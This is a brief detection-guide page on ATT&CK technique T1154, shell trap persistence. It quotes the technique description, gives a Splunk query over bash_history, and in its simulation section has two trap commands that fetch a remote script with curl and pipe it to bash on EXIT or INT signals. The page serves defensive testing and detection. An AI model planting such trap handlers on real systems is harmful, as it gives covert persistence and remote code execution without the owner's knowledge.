T1154.md

T1154 - Trap

Description from ATT&CK

The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.

How to Detect

Simulating the attack

trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT nohup is used for continuing program/script execution even after exit.

trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT

Data sources required to detect the attack

bash_history logs

Splunk Queries to detect the attack

index=linux sourcetype=bash_history "trap *" | table host,user_name,bash_command

Caution